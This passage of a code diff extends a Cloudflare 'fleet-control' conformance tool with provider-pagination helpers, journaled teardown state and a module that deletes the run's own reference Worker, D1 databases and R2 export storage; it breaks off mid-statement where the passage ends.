+ +export interface DirectProviderTransport { + assertBudget(): void; + failure(): DirectProviderErrorCode | undefined; + close(): void; + fetch( + input: RequestInfo | URL, + init?: RequestInit, + rawByteLimit?: number, + ): Promise; +} + +export interface DirectProviderSession { + readonly sdk: Cloudflare; + readonly numbered: Cloudflare; + readonly single: Cloudflare; + readonly status: Cloudflare; + readonly settled: Cloudflare; + readonly APIError: typeof import('cloudflare').APIError; + readonly bound: number; + readonly transport: DirectProviderTransport; + exportReader(expectedSize: number): Cloudflare; +} + +export interface DirectProviderPage { + readonly result: readonly Row[]; + readonly result_info?: Readonly<{ + total_count?: number; + total_pages?: number; + }>; +} + +export interface DirectProviderPages { + iterPages(): AsyncIterable>; +} + +export type DirectDispatchClassification = Readonly<{ + kind: 'first-page-404' | 'empty' | 'enumerated'; + count: number; + names: readonly string[]; +}>; + +export function validateProviderAuth(value: unknown): void; + +export function identifier(value: unknown, max?: number): string; + +export function providerErrorFrom(error: unknown): DirectProviderError | null; + +export function inventory( + pages: PromiseLike>, + identity: (row: Row) => readonly string[], + bound: number, +): Promise; + +export function classifyDispatchNamespaces( + single: Cloudflare, + selectors: Readonly<{ account_id: string }>, + bound: number, +): Promise; + +export function singlePage( + promise: PromiseLike<{ readonly result: readonly Row[] }>, +): Promise>; + +export function bucketPages( + input: Readonly<{ + sdk: Cloudflare; + selectors: Readonly<{ account_id: string }>; + jurisdiction: 'default' | 'eu' | 'fedramp'; + }>, +): Promise>[]>; + +export function probeAbsent( + promise: PromiseLike, +): Promise<'absent' | 'present'>; + +export function openDirectProviderSession( + input: Readonly<{ + apiToken: string; + fetchRequest: typeof fetch; + timeoutMs: number; + }>, +): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-provider.mjs b/packages/fleet-control/scripts/direct-credentialed-provider.mjs index 127a9f76..fbbdf16b 100644 --- a/packages/fleet-control/scripts/direct-credentialed-provider.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-provider.mjs @@ -11,6 +11,7 @@ const ERROR_CODES = new Set([ 'provider-unavailable', 'observation-mismatch', 'budget-exhausted', + 'forbidden', ]); export class DirectProviderError extends Error { @@ -30,6 +31,21 @@ function object(value) { return value; } +export function identifier(value, max = 128) { + if ( + typeof value !== 'string' || + !value || + value !== value.trim() || + value.length > max || + [...value].some( + (character) => + character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127, + ) + ) + refuse(); + return value; +} + export function validateProviderAuth(value) { if (typeof value !== 'string' || !value || value !== value.trim()) refuse('invalid-input'); @@ -205,10 +221,12 @@ function providerTransport(fetchRequest, timeoutMs) { function validateEnvelope(value) { object(value); + const cursor = value.result_info?.cursor; if ( value.success !== true || (value.errors !== undefined && - (!Array.isArray(value.errors) || value.errors.length !== 0)) + (!Array.isArray(value.errors) || value.errors.length !== 0)) || + (typeof cursor === 'string' && cursor.length > 0) ) refuse('provider-unavailable'); } @@ -222,7 +240,9 @@ function proofFetch(transport, shape, bound) { !/^application\/(?:json|[a-z0-9.+-]+\+json)(?:\s*;.*)?$/iu.test( contentType, ) || - (shape !== 'object' && response.status !== 200) + (shape !== 'object' && response.status !== 200) || + // The SDK skips its parser, and so this validation, on an empty body. + (shape === 'settled' && response.headers.get('content-length') === '0') ) { cancel(response); refuse('provider-unavailable'); @@ -237,7 +257,9 @@ function proofFetch(transport, shape, bound) { const value = await parse(); validateEnvelope(value); if (shape === 'object') object(value.result); - else { + else if (shape === 'settled') { + if (value.result !== null) object(value.result); + } else { const rows = value.result; if (!Array.isArray(rows) || rows.length > bound) refuse('provider-unavailable'); @@ -269,8 +291,7 @@ function proofFetch(transport, shape, bound) { (count !== undefined && count !== rows.length) || (perPage !== undefined && rows.length > perPage) || (totalCount !== undefined && rows.length > totalCount) || - (totalPages === 0 && rows.length > 0) || - (typeof cursor === 'string' && cursor.length > 0) + (totalPages === 0 && rows.length > 0) ) refuse('provider-unavailable'); if (shape === 'single') { @@ -300,6 +321,121 @@ function proofFetch(transport, shape, bound) { }; } +export async function inventory(pages, identity, bound) { + const rows = []; + const seen = new Set(); + let expectedCount = 0; + let expectedPages = 0; + let pageCount = 0; + for await (const page of (await pages).iterPages()) { + pageCount += 1; + expectedCount = Math.max(expectedCount, page.result_info?.total_count ?? 0); + expectedPages = Math.max(expectedPages, page.result_info?.total_pages ?? 0); + for (const row of page.result) { + const keys = identity(row); + if (keys.some((key) => seen.has(key)) || rows.length >= bound) + refuse('provider-unavailable'); + for (const key of keys) seen.add(key); + rows.push(row); + } + } + if (rows.length < expectedCount || pageCount < expectedPages) + refuse('provider-unavailable'); + return rows; +} + +export async function classifyDispatchNamespaces(single, selectors, bound) { + const { APIError } = await import('cloudflare'); + try { + const namespaces = await inventory( + single.workersForPlatforms.dispatch.namespaces.list(selectors), + (row) => [ + `id:${identifier(row.namespace_id)}`, + `name:${identifier(row.namespace_name)}`, + ], + bound, + ); + return { + kind: namespaces.length ? 'enumerated' : 'empty', + count: namespaces.length, + names: namespaces.map((row) => row.namespace_name), + }; + } catch (error) { + if (error instanceof APIError && error.status === 404) + return { kind: 'first-page-404', count: 0, names: [] }; + throw error; + } +} + +export async function singlePage(promise) { + const rows = (await promise).result; + if (!Array.isArray(rows)) refuse('provider-unavailable'); + return { rows, exhaustive: false }; +} + +export async function bucketPages({ sdk, selectors, jurisdiction }) { + const { CLOUDFLARE_INVENTORY_BOUND: bound } = await import( + '../src/cloudflare-client-config.ts' + ); + const rows = []; + let startAfter; + // Only an empty page proves the end: a full page that happens to be last is + // indistinguishable from a truncated one. + for (;;) { + const page = await sdk.r2.buckets.list({ + ...selectors, + per_page: 100, + order: 'name', + direction: 'asc', + jurisdiction, + ...(startAfter === undefined ? {} : { start_after: startAfter }), + }); + const buckets = object(page).buckets; + if (!Array.isArray(buckets)) refuse('provider-unavailable'); + if (buckets.length === 0) return rows; + for (const row of buckets) { + object(row); + if ( + typeof row.name !== 'string' || + !row.name || + (startAfter !== undefined && row.name <= startAfter) + ) + refuse('provider-unavailable'); + startAfter = row.name; + rows.push(row); + if (rows.length > bound) refuse('provider-unavailable'); + } + } +} + +// The SDK reports a transport rejection as an APIConnectionError carrying the +// original as `cause`, so a refusal raised here reaches callers wrapped. +export function providerErrorFrom(error) { + let current = error; + for (let depth = 0; current && depth < 4; depth += 1) { + if (current instanceof DirectProviderError) return current; + current = current.cause; + } + return null; +} + +export async function probeAbsent(promise) { + const { APIError } = await import('cloudflare'); + try { + const value = await promise; + if (value instanceof Response) cancel(value); + return 'present'; + } catch (error) { + const raised = providerErrorFrom(error); + if (raised) throw raised; + if (error instanceof APIError) { + if (error.status === 404) return 'absent'; + if (error.status === 401 || error.status === 403) refuse('forbidden'); + } + refuse('provider-unavailable'); + } +} + export async function openDirectProviderSession({ apiToken, fetchRequest, @@ -334,11 +470,15 @@ export async function openDirectProviderSession({ const status = sdk.withOptions({ fetch: proofFetch(transport, 'status', bound), }); + const settled = sdk.withOptions({ + fetch: proofFetch(transport, 'settled', bound), + }); return { sdk, numbered, single, status, + settled, APIError, bound, transport, diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts index 28bf3681..b5bd9fcc 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -51,6 +51,7 @@ export interface DirectRunSnapshot { | null; readonly bootstrap: DirectBootstrapState | null; readonly scenario?: DirectScenarioState; + readonly teardown?: DirectTeardownState; } export interface DirectBootstrapContext { @@ -119,10 +120,111 @@ export interface DirectBootstrapState { readonly pending: DirectBootstrapMutation | null; } +export type DirectTeardownPhase = + | 'refused' + | 'ingress' + | 'worker' + | 'fleet' + | 'quota' + | 'export-objects' + | 'exports' + | 'residual' + | 'complete'; + +export type DirectTeardownMutation = + | 'disable-reference-ingress' + | 'delete-reference-worker' + | 'delete-fleet-d1' + | 'delete-quota-d1' + | 'delete-export-object' + | 'delete-export-r2'; + +export type DirectTeardownFailure = + | 'scenario-incomplete' + | 'outcome-unknown' + | 'unexpected-object' + | 'identity-mismatch' + | 'residual-present' + | 'forbidden' + | 'provider-unavailable' + | 'budget-exhausted' + | 'invalid-state'; + +export type DirectResidualSurface = + | 'databases' + | 'durableObjectNamespaces' + | 'scripts' + | 'buckets' + | 'domains' + | 'routes'; + +export interface DirectResidualObservation { + readonly version: 1; + readonly surfaces: Readonly< + Record< + DirectResidualSurface, + Readonly<{ + prefixCount: number; + prefixNames: readonly string[]; + globalCount: number | null; + exhaustive: boolean; + }> + > + >; + readonly bucketJurisdictions: readonly ['default']; + readonly dispatch: Readonly<{ + kind: 'first-page-404' | 'empty' | 'enumerated' | 'fail-closed'; + count: number; + status: number | null; + prefixCount: number; + }>; + readonly versionsGone: boolean | null; + readonly settleAttempts: number; +} + +interface DirectTeardownSettlement { + readonly ordinal: number; + readonly settledByReread: boolean; +} + +export interface DirectTeardownReceipts { + readonly ingress: DirectTeardownSettlement | null; + readonly worker: + | (DirectTeardownSettlement & + Readonly<{ scriptName: string; secretNames: readonly string[] }>) + | null; + readonly fleet: + | (DirectTeardownSettlement & Readonly<{ uuid: string }>) + | null; + readonly quota: + | (DirectTeardownSettlement & Readonly<{ uuid: string }>) + | null; + readonly exportObjects: readonly (DirectTeardownSettlement & + Readonly<{ key: string }>)[]; + readonly exports: + | (DirectTeardownSettlement & Readonly<{ name: string }>) + | null; +} + +export interface DirectTeardownState { + readonly version: 1; + readonly phase: DirectTeardownPhase; + readonly pending: Readonly<{ + kind: DirectTeardownMutation; + key?: string; + }> | null; + readonly receipts: DirectTeardownReceipts; + readonly residual: DirectResidualObservation | null; + readonly providerRequests: number; + readonly failure: DirectTeardownFailure | null; +} + export interface DirectRunJournal { readonly directory: string; snapshot(): DirectRunSnapshot; recordScenario(state: DirectScenarioState): Promise; + recordTeardown(state: DirectTeardownState): Promise; + assertTeardownCapacity(worstCase: DirectTeardownState): Promise; bindBootstrapContext(context: DirectBootstrapContext): Promise; beginBootstrapMutation(kind: DirectBootstrapMutation): Promise; confirmBootstrapMutation( @@ -172,6 +274,23 @@ export const DIRECT_SCENARIO_OPERATION_SLOTS: readonly [ 'decommission-recovery', ]; +export const DIRECT_TEARDOWN_PHASES: readonly DirectTeardownPhase[]; + +export const DIRECT_TEARDOWN_MUTATIONS: readonly DirectTeardownMutation[]; + +export const DIRECT_TEARDOWN_FAILURES: readonly DirectTeardownFailure[]; + +export const DIRECT_RESIDUAL_SURFACES: readonly DirectResidualSurface[]; + +export const DIRECT_TEARDOWN_MAXIMA: Readonly<{ + nameBytes: number; + keyBytes: number; + prefixNames: number; + secretNames: number; + exportObjects: number; + settleAttempts: number; +}>; + export const DIRECT_RUN_MAX_JOURNAL_BYTES: number; export const DIRECT_SCENARIO_ARRAY_MAXIMA: Readonly<{ diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs index bae6cc9b..64eee9ba 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -165,6 +165,7 @@ async function decodeSnapshot(value, binding) { ...keys, 'bootstrap', ...(Object.hasOwn(value, 'scenario') ? ['scenario'] : []), + ...(Object.hasOwn(value, 'teardown') ? ['teardown'] : []), ], ); object(value.binding, Object.keys(binding)); @@ -216,6 +217,9 @@ async function decodeSnapshot(value, binding) { ? decodeScenario(value.scenario, value.invocationCount) : undefined; if (scenario) await validateScenarioActions(scenario, binding); + const teardown = Object.hasOwn(value, 'teardown') + ? decodeTeardown(value.teardown) + : undefined; return Object.freeze({ version: 2, binding, @@ -228,6 +232,7 @@ async function decodeSnapshot(value, binding) { lastInvocation, ), ...(scenario ? { scenario } : {}), + ...(teardown ? { teardown } : {}), }); } @@ -293,6 +298,77 @@ export const DIRECT_SCENARIO_OPERATION_SLOTS = Object.freeze([ 'decommission-recovery', ]); +export const DIRECT_TEARDOWN_PHASES = Object.freeze([ + 'refused', + 'ingress', + 'worker', + 'fleet', + 'quota', + 'export-objects', + 'exports', + 'residual', + 'complete', +]); + +export const DIRECT_TEARDOWN_MUTATIONS = Object.freeze([ + 'disable-reference-ingress', + 'delete-reference-worker', + 'delete-fleet-d1', + 'delete-quota-d1', + 'delete-export-object', + 'delete-export-r2', +]); + +export const DIRECT_TEARDOWN_FAILURES = Object.freeze([ + 'scenario-incomplete', + 'outcome-unknown', + 'unexpected-object', + 'identity-mismatch', + 'residual-present', + 'forbidden', + 'provider-unavailable', + 'budget-exhausted', + 'invalid-state', +]); + +export const DIRECT_RESIDUAL_SURFACES = Object.freeze([ + 'databases', + 'durableObjectNamespaces', + 'scripts', + 'buckets', + 'domains', + 'routes', +]); + +export const DIRECT_TEARDOWN_MAXIMA = Object.freeze({ + nameBytes: 255, + keyBytes: 1024, + prefixNames: 16, + secretNames: 8, + exportObjects: 2, + settleAttempts: 5, +}); + +const TEARDOWN_RECEIPT_FIELD = Object.freeze({ + 'disable-reference-ingress': 'ingress', + 'delete-reference-worker': 'worker', + 'delete-fleet-d1': 'fleet', + 'delete-quota-d1': 'quota', + 'delete-export-object': 'exportObjects', + 'delete-export-r2': 'exports', +}); + +const TEARDOWN_RECEIPT_ORDER = Object.freeze([ + 'ingress', + 'worker', + 'fleet', + 'quota', + 'exportObjects', + 'exports', +]); + +const RESIDUAL_PHASES = Object.freeze(['refused', 'residual', 'complete']); + const scenarioNumber = (value) => { if (!Number.isSafeInteger(value) || value < 0) invalid(); return value; @@ -1054,6 +1130,148 @@ function decodeBootstrap(value, binding, invocationCount, lastInvocation) { return Object.freeze(result); } +const teardownText = (max) => (value) => { + identifier(value, max); + // Journal capacity is budgeted in bytes; `identifier` bounds UTF-16 units. + if (Buffer.byteLength(value) > max) invalid(); + return value; +}; +const teardownFlag = scenarioEnum(true, false); +const teardownSettleAttempts = (value) => { + scenarioNumber(value); + if (value < 1 || value > DIRECT_TEARDOWN_MAXIMA.settleAttempts) invalid(); + return value; +}; +const teardownJurisdictions = (value) => { + if (!Array.isArray(value) || value.length !== 1 || value[0] !== 'default') + invalid(); + return Object.freeze(['default']); +}; +const residualSurfaceShape = { + prefixCount: scenarioNumber, + prefixNames: boundedArray( + teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes), + DIRECT_TEARDOWN_MAXIMA.prefixNames, + ), + globalCount: nullable(scenarioNumber), + exhaustive: teardownFlag, +}; +const residualShape = { + version: 1, + surfaces: Object.fromEntries( + DIRECT_RESIDUAL_SURFACES.map((surface) => [surface, residualSurfaceShape]), + ), + bucketJurisdictions: teardownJurisdictions, + dispatch: { + kind: scenarioEnum('first-page-404', 'empty', 'enumerated', 'fail-closed'), + count: scenarioNumber, + status: nullable(scenarioNumber), + prefixCount: scenarioNumber, + }, + versionsGone: nullable(teardownFlag), + settleAttempts: teardownSettleAttempts, +}; +const teardownSettlement = { + ordinal: scenarioNumber, + settledByReread: teardownFlag, +}; +const teardownShape = { + version: 1, + phase: scenarioEnum(...DIRECT_TEARDOWN_PHASES), + pending: nullable({ + kind: scenarioEnum(...DIRECT_TEARDOWN_MUTATIONS), + key: optional(teardownText(DIRECT_TEARDOWN_MAXIMA.keyBytes)), + }), + receipts: { + ingress: nullable(teardownSettlement), + worker: nullable({ + scriptName: teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes), + secretNames: boundedArray( + teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes), + DIRECT_TEARDOWN_MAXIMA.secretNames, + ), + ...teardownSettlement, + }), + fleet: nullable({ + uuid: teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes), + ...teardownSettlement, + }), + quota: nullable({ + uuid: teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes), + ...teardownSettlement, + }), + exportObjects: boundedArray( + { + key: teardownText(DIRECT_TEARDOWN_MAXIMA.keyBytes), + ...teardownSettlement, + }, + DIRECT_TEARDOWN_MAXIMA.exportObjects, + ), + exports: nullable({ + name: teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes), + ...teardownSettlement, + }), + }, + residual: nullable(residualShape), + providerRequests: scenarioNumber, + failure: nullable(scenarioEnum(...DIRECT_TEARDOWN_FAILURES)), +}; + +function teardownReceiptSet(receipts, field) { + return field === 'exportObjects' + ? receipts.exportObjects.length > 0 + : receipts[field] !== null; +} + +function teardownOrdinals(state) { + return [ + ...TEARDOWN_RECEIPT_ORDER.filter((field) => field !== 'exportObjects') + .map((field) => state.receipts[field]?.ordinal) + .filter((ordinal) => ordinal !== undefined), + ...state.receipts.exportObjects.map((entry) => entry.ordinal), + ]; +} + +function decodeTeardown(value) { + const result = scenarioShape(value, teardownShape); + const { pending, receipts } = result; + if (pending) { + const keyed = pending.kind === 'delete-export-object'; + if (keyed !== Object.hasOwn(pending, 'key')) invalid(); + // One atomic write publishes a receipt and clears the pending that names + // it, so this intermediate never reaches disk. + if ( + keyed + ? receipts.exportObjects.some((entry) => entry.key === pending.key) + : receipts[TEARDOWN_RECEIPT_FIELD[pending.kind]] !== null + ) + invalid(); + } + const keys = new Set(receipts.exportObjects.map((entry) => entry.key)); + if (keys.size !== receipts.exportObjects.length) invalid(); + TEARDOWN_RECEIPT_ORDER.forEach((field, index) => { + if (!teardownReceiptSet(receipts, field)) return; + for (const earlier of TEARDOWN_RECEIPT_ORDER.slice(0, index)) + if ( + !(field === 'exports' && earlier === 'exportObjects') && + !teardownReceiptSet(receipts, earlier) + ) + invalid(); + }); + if ( + result.phase === 'refused' && + (pending !== null || + result.failure === null || + TEARDOWN_RECEIPT_ORDER.some((field) => + teardownReceiptSet(receipts, field), + )) + ) + invalid(); + if (result.residual !== null && !RESIDUAL_PHASES.includes(result.phase)) + invalid(); + return result; +} + function assertPrivate(stat, directory) { if ( stat.uid !== process.getuid() || @@ -1166,6 +1384,10 @@ async function readSnapshot(path, binding) { } } +function serialize(snapshot) { + return `${JSON.stringify(snapshot)}\n`; +} + async function writeSnapshot(directory, handle, snapshot) { const temporary = join(directory, `.journal-${randomUUID()}.tmp`); let file; @@ -1178,7 +1400,7 @@ async function writeSnapshot(directory, handle, snapshot) { ); created = true; assertPrivate(await file.stat(), false); - const serialized = `${JSON.stringify(snapshot)}\n`; + const serialized = serialize(snapshot); if (Buffer.byteLength(serialized) > DIRECT_RUN_MAX_JOURNAL_BYTES) invalid(); await file.writeFile(serialized); await file.sync(); @@ -1282,10 +1504,25 @@ function runJournal(directory, directoryHandle, base, lock, initial) { const assertSettled = () => { if ( snapshot.lastInvocation?.state === 'pending' || - snapshot.bootstrap?.pending + snapshot.bootstrap?.pending || + snapshot.teardown?.pending ) throw new DirectRunStateError('outcome-unknown'); }; + const teardownStarted = () => + Boolean(snapshot.teardown) && + TEARDOWN_RECEIPT_ORDER.some((field) => + teardownReceiptSet(snapshot.teardown.receipts, field), + ); + const withinCapacity = async (fields) => { + const next = await decodeSnapshot( + { ...snapshot, ...fields }, + snapshot.binding, + ); + if (Buffer.byteLength(serialize(next)) > DIRECT_RUN_MAX_JOURNAL_BYTES) + invalid(); + return next; + }; return Object.freeze({ directory, snapshot() { @@ -1294,6 +1531,7 @@ function runJournal(directory, directoryHandle, base, lock, initial) { recordScenario(value) { return enqueue(async () => { assertSettled(); + if (teardownStarted()) invalid(); const scenario = decodeScenario(value, snapshot.invocationCount); await validateScenarioActions(scenario, snapshot.binding); if (!snapshot.bootstrap?.controlReadOrdinal) invalid(); @@ -1371,6 +1609,55 @@ function runJournal(directory, directoryHandle, base, lock, initial) { await publishSnapshot({ scenario }); }); }, + recordTeardown(value) { + return enqueue(async () => { + // Receipts publish while their own mutation is still pending, so this + // path checks the invocation and bootstrap gates without `assertSettled`. + if ( + snapshot.lastInvocation?.state === 'pending' || + snapshot.bootstrap?.pending + ) + throw new DirectRunStateError('outcome-unknown'); + const teardown = decodeTeardown(value); + const previous = snapshot.teardown; + if (previous) { + const position = (phase) => DIRECT_TEARDOWN_PHASES.indexOf(phase); + if ( + previous.phase === 'refused' + ? teardown.phase !== 'refused' + : teardown.phase === 'refused' || + position(teardown.phase) < position(previous.phase) || + position(teardown.phase) > position(previous.phase) + 1 + ) + invalid(); + if ( + teardown.providerRequests < previous.providerRequests || + Math.max(0, ...teardownOrdinals(teardown)) < + Math.max(0, ...teardownOrdinals(previous)) + ) + invalid(); + for (const field of TEARDOWN_RECEIPT_ORDER) { + if (field === 'exportObjects') { + if ( + teardown.receipts.exportObjects.length < + previous.receipts.exportObjects.length + ) + invalid(); + previous.receipts.exportObjects.forEach((entry, index) => { + equalShape(teardown.receipts.exportObjects[index], entry); + }); + } else if (previous.receipts[field] !== null) + equalShape(teardown.receipts[field], previous.receipts[field]); + } + } + await publish(await withinCapacity({ teardown })); + }); + }, + assertTeardownCapacity(worstCase) { + return enqueue(async () => { + await withinCapacity({ teardown: worstCase }); + }); + }, bindBootstrapContext(context) { return enqueue(async () => { assertSettled(); @@ -1458,6 +1745,7 @@ function runJournal(directory, directoryHandle, base, lock, initial) { reserveInvocation(serializedRequest) { return enqueue(async () => { assertSettled(); + if (teardownStarted()) invalid(); if (snapshot.invocationCount >= snapshot.binding.maxInvocations) throw new DirectRunStateError('invocation-budget-exhausted'); const request = await decodeRequest( diff --git a/packages/fleet-control/scripts/direct-credentialed-teardown.d.mts b/packages/fleet-control/scripts/direct-credentialed-teardown.d.mts new file mode 100644 index 00000000..ea31f201 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-teardown.d.mts @@ -0,0 +1,58 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { + DirectResidualObservation, + DirectRunJournal, + DirectTeardownFailure, + DirectTeardownPhase, + DirectTeardownReceipts, +} from './direct-credentialed-run-state.mjs'; + +export type { + DirectResidualObservation, + DirectResidualSurface, + DirectTeardownFailure, + DirectTeardownMutation, + DirectTeardownPhase, + DirectTeardownReceipts, + DirectTeardownState, +} from './direct-credentialed-run-state.mjs'; + +export class DirectTeardownError extends Error { + readonly code: DirectTeardownFailure; + constructor(code?: DirectTeardownFailure); +} + +export interface DirectTeardownProofs { + readonly retainedIdentities: Readonly<{ + fleetUuid: string | null; + quotaUuid: string | null; + exportBucket: string | null; + scriptName: string | null; + activeVersionId: string | null; + }>; + readonly receipts: DirectTeardownReceipts; + readonly residual: DirectResidualObservation | null; + readonly providerRequests: number; + readonly failure: DirectTeardownFailure | null; +} + +export type DirectTeardownOutcome = + | Readonly<{ status: 'cleaned'; facts: DirectTeardownProofs }> + | Readonly<{ + status: 'retained'; + reason: DirectTeardownFailure; + phase: DirectTeardownPhase; + facts: DirectTeardownProofs; + }>; + +export function teardownDirectReference( + input: Readonly<{ + prepared: PreparedDirectConformance; + journal: DirectRunJournal; + apiToken: string; + fetch?: typeof fetch; + delay?: (milliseconds: number) => Promise; + }>, +): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-teardown.mjs b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs new file mode 100644 index 00000000..cfb28c7a --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs @@ -0,0 +1,796 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { isDeepStrictEqual } from 'node:util'; + +import { validateDirectConformanceConfig } from './direct-credentialed-conformance-config.mjs'; +import { + bucketPages, + classifyDispatchNamespaces, + identifier, + inventory, + openDirectProviderSession, + probeAbsent, + providerErrorFrom, + singlePage, + validateProviderAuth, +} from './direct-credentialed-provider.mjs'; +import { + DIRECT_RESIDUAL_SURFACES, + DIRECT_TEARDOWN_FAILURES, + DIRECT_TEARDOWN_MAXIMA, + DirectRunStateError, +} from './direct-credentialed-run-state.mjs'; + +const ERROR_CODES = new Set(DIRECT_TEARDOWN_FAILURES); +const PROVIDER_CODES = Object.freeze({ + forbidden: 'forbidden', + 'budget-exhausted': 'budget-exhausted', + 'provider-unavailable': 'provider-unavailable', + 'observation-mismatch': 'provider-unavailable', + 'invalid-input': 'invalid-state', +}); +const SETTLE_DELAY_MS = 3_000; +const OBJECT_SETTLE_ATTEMPTS = 3; +const OBJECT_SETTLE_DELAY_MS = 2_000; +// The reference upload binds exactly these secrets. Teardown asserts the set it +// observes instead of following whatever the script currently carries. +const REFERENCE_SECRET_NAMES = Object.freeze([ + 'CLOUDFLARE_API_TOKEN', + 'DIRECT_DEPLOYMENT_SECRETS', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', +]); +const BOOTSTRAP_RECEIPTS = Object.freeze([ + 'fleet', + 'quota', + 'exports', + 'upload', + 'active', + 'ingress', +]); +const EMPTY_RECEIPTS = Object.freeze({ + ingress: null, + worker: null, + fleet: null, + quota: null, + exportObjects: Object.freeze([]), + exports: null, +}); +const NO_IDENTITIES = Object.freeze({ + fleetUuid: null, + quotaUuid: null, + exportBucket: null, + scriptName: null, + activeVersionId: null, +}); +const MUTATION_OPTIONS = Object.freeze({ maxRetries: 0 }); + +export class DirectTeardownError extends Error { + constructor(code = 'invalid-state') { + const accepted = ERROR_CODES.has(code) ? code : 'invalid-state'; + super(accepted); + this.name = 'DirectTeardownError'; + this.code = accepted; + } +} + +function refuse(code = 'invalid-state') { + throw new DirectTeardownError(code); +} + +function teardownCode(error, apiError) { + if (error instanceof DirectTeardownError) return error.code; + const raised = providerErrorFrom(error); + if (raised) return PROVIDER_CODES[raised.code] ?? 'provider-unavailable'; + if (error instanceof DirectRunStateError) + return error.code === 'outcome-unknown' ? error.code : 'invalid-state'; + if ( + apiError && + error instanceof apiError && + (error.status === 401 || error.status === 403) + ) + return 'forbidden'; + return 'provider-unavailable'; +} + +function pause(milliseconds) { + return new Promise((fulfill) => setTimeout(fulfill, milliseconds)); +} + +function recordableName(value) { + return ( + typeof value === 'string' && + value.length > 0 && + value === value.trim() && + Buffer.byteLength(value) <= DIRECT_TEARDOWN_MAXIMA.nameBytes && + ![...value].some( + (character) => + character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127, + ) + ); +} + +function maximal(length) { + return Array.from({ length }, () => + 'n'.repeat(DIRECT_TEARDOWN_MAXIMA.nameBytes), + ); +} + +function checkedInput(input) { + try { + const journal = input.journal; + for (const method of [ + 'snapshot', + 'recordTeardown', + 'assertTeardownCapacity', + ]) + if (typeof journal[method] !== 'function') refuse(); + const snapshot = journal.snapshot(); + const prepared = structuredClone(input.prepared); + const config = validateDirectConformanceConfig(prepared.config); + if ( + snapshot.version !== 2 || + !isDeepStrictEqual(config, prepared.config) || + snapshot.binding.configSha256 !== prepared.configSha256 || + snapshot.binding.referenceModuleSetSha256 !== + prepared.referenceModuleSetSha256 || + snapshot.binding.resourcePrefix !== config.resourcePrefix || + snapshot.binding.maxInvocations !== config.referenceWorker.maxInvocations + ) + refuse(); + validateProviderAuth(input.apiToken); + const fetchRequest = input.fetch ?? globalThis.fetch; + const delay = input.delay ?? pause; + if (typeof fetchRequest !== 'function' || typeof delay !== 'function') + refuse(); + return { + journal, + config, + snapshot, + accountId: snapshot.binding.accountId, + prefix: snapshot.binding.resourcePrefix, + apiToken: input.apiToken, + fetchRequest, + delay, + }; + } catch { + refuse('invalid-state'); + } +} + +function survivingIdentities(bootstrap, receipts) { + return Object.freeze({ + fleetUuid: receipts.fleet ? null : (bootstrap?.fleet?.uuid ?? null), + quotaUuid: receipts.quota ? null : (bootstrap?.quota?.uuid ?? null), + exportBucket: receipts.exports ? null : (bootstrap?.exports?.name ?? null), + scriptName: receipts.worker + ? null + : (bootstrap?.upload?.scriptName ?? null), + activeVersionId: receipts.worker + ? null + : (bootstrap?.active?.versionId ?? null), + }); +} + +function confirmedExportKeys(scenario, prefix) { + const keys = []; + const add = (proof) => { + const receipt = proof?.receipt; + if (!receipt) refuse('invalid-state'); + const key = `${prefix}/receipts/v1/${receipt.databaseId}/${receipt.operationId}.sql`; + if (!keys.includes(key)) keys.push(key); + }; + add(scenario?.proofs.exports.a); + add(scenario?.proofs.exports.b); + for (const proof of scenario?.proofs.exportVerifications ?? []) add(proof); + if (keys.length !== DIRECT_TEARDOWN_MAXIMA.exportObjects) + refuse('invalid-state'); + return keys; +} + +export async function teardownDirectReference(input) { + let context; + try { + context = checkedInput(input); + } catch (error) { + const code = teardownCode(error); + return Object.freeze({ + status: 'retained', + reason: code, + phase: 'refused', + facts: Object.freeze({ + retainedIdentities: NO_IDENTITIES, + receipts: EMPTY_RECEIPTS, + residual: null, + providerRequests: 0, + failure: code, + }), + }); + } + const { + journal, + config, + snapshot, + accountId, + prefix, + apiToken, + fetchRequest, + delay, + } = context; + const selectors = { account_id: accountId }; + const bootstrap = snapshot.bootstrap; + let teardown = snapshot.teardown ?? null; + let phase = teardown?.phase ?? 'refused'; + let receipts = teardown?.receipts ?? EMPTY_RECEIPTS; + let residual = teardown?.residual ?? null; + let providerRequests = teardown?.providerRequests ?? 0; + let transport; + let apiError; + const facts = (failure) => + Object.freeze({ + retainedIdentities: survivingIdentities(bootstrap, receipts), + receipts, + residual, + providerRequests, + failure, + }); + const write = async (fields) => { + try { + await journal.recordTeardown({ + version: 1, + phase, + pending: null, + receipts, + residual, + providerRequests, + failure: null, + ...fields, + }); + } catch (error) { + refuse(teardownCode(error, apiError)); + } + teardown = journal.snapshot().teardown; + phase = teardown.phase; + receipts = teardown.receipts; + residual = teardown.residual; + }; + try { + if ( + snapshot.lastInvocation?.state === 'pending' || + snapshot.bootstrap?.pending + ) + refuse('outcome-unknown'); + if (!bootstrap || BOOTSTRAP_RECEIPTS.some((key) => !bootstrap[key])) + refuse('invalid-state'); + if (phase === 'complete' && teardown.failure === null) + return Object.freeze({ status: 'cleaned', facts: facts(null) }); + const names = 